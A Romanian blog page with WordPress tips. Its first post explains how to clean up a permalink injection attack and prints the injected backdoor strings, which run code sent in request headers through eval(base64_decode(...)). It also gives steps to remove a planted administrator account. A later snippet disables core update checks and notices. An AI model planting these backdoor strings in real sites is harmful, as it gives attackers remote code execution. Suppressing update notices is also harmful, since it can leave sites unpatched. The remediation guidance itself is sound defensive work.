Blog18
Comunitatea tinerilor bloggeri din Romania

Despre ultimul atac WordPress SQL Injection

Multe site-uri (în special cele în limba engleză) ce rulează pe platforma wordpress au fost ţinta unor atacuri SQL. Structura link-urilor blogului dumneavoastră va fi stricată, astfel încât acestea nu vor mai merge. Un exemplu este blogul eok.ro.

Cum rezolvaţi această problemă?

Intraţi în “Settings” – “Permalink Settings”. Aici veţi găsi adăugat unul din următoarele coduri:

%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%

“/%&(%7B$%7Beval(base64_decode($_SERVER%5BHTTP_EXECCODE%5D))%7D%7D|.+)&%

Alegeţi la “Common settings” o altă structură sau înlăturaţi codul manual.

Următorul pas este să găsiţi un alt administrator şi să îl ştergeţi sau să îi scădeţi rang-ul. Acest lucru poate fi făcut din PHPMyAdmin sau din panoul de administrare wordpress, urmărind câţiva paşi:

1. Intraţi în Users şi aflaţi ultimul user înregistrat.
2. Daţi click pe acesta, iar în structura link-ului veţi găsi “userid=” şi un număr. La acest număr adăugaţi un 1 (ex.: dacă este 3 va rezulta 4). După ce aţi schimbat numărul daţi enter.
3. Schimbaţi numele acestuia, apoi rang-ul (subscriber).
4. Mergeţi în Users şi ştergeţi-l.

Mai multe detalii aici.

Te deranjează mesajul de atenţionare wordpress “Please update now”?

Jean-Baptiste Jung este un cunoscut blogger din Belgia, datorită diverselor tutoriale şi articole legate de wordpress. Acesta scrie uneori şi pe Smashing Magazine, unde (re)publică diferite sfaturi pentru cea mai cunoscută platformă de blogging din lume. Astăzi a publicat un nou post, în care ne aminteşte şi de o metodă utilă pentru a scăpa de mesajul de atenţionare de la wordpress, cum că a apărut o nouă versiune.

Vorbim de acest mesaj:

Wordpress Update

Acesta este afişat în panoul de administrare de fiecare dată când se lansează o nouă variantă wordpress. Pentru a scăpa de el trebuie să adaugaţi în fişierul functions.php următoarele linii:

if ( !current_user_can( 'edit_users' ) ) {
  add_action( 'init', create_function( '$a', "remove_action( 'init', 'wp_version_check' );" ), 2 );
  add_filter( 'pre_option_update_core', create_function( '$a', "return null;" ) );
}

Dacă preferaţi o variantă mai simplă, puteţi folosi pluginul “Disable WordPress Core Update“, care face acelaşi lucru, doar că nu trebuie decât să îl activaţi, fără să mai umblaţi in cod.

Pagina cu postari aleatoare

V-aţi întrebat vreodată cum fac alţii ca să adauge în meniu o pagină cu postări aleatoare? Am fost întrebat de câţiva dacă pot să îi ajut să facă acest lucru. Sigur că pot, de aceea am ales să scriu un mic tutorial aici. Nu, nu ai nevoie de niciun plugin special pentru Wordpress, tot ce ai nevoie este un mic fişier amplasat în directorul temei active. Denumiţi-l cum vreţi voi, eu recomand “aleator.php”. Copiaţi în noul fişier codul de aici(scris de noi, nu vă temeţi).

Aţi făcut ce v-am zis mai sus? Bun, este timpul să trecem la pasul următor. Mergem la partea

6-19-2009 8-27-27 PM

de administrare a blogului, mai exact la secţiunea unde adaugi pagini noi (Pages >> New Page). Totul este cam la fel doar că pagina nu trebuie să aibă conţinut(nu scrieţi nimic în ea). Completaţi doar titlul paginii după dorinţă, iar la secţiunea “Attributes” trebuie să selectaţi la “Template” opţiunea “Aleator” (vezi poză). Această opţiune va apărea acolo doar dacă aţi pus în directorul temei fişierul de care v-am zis mai sus. Publicaţi pagina şi verificaţi pe blog dacă totul merge cum trebuie.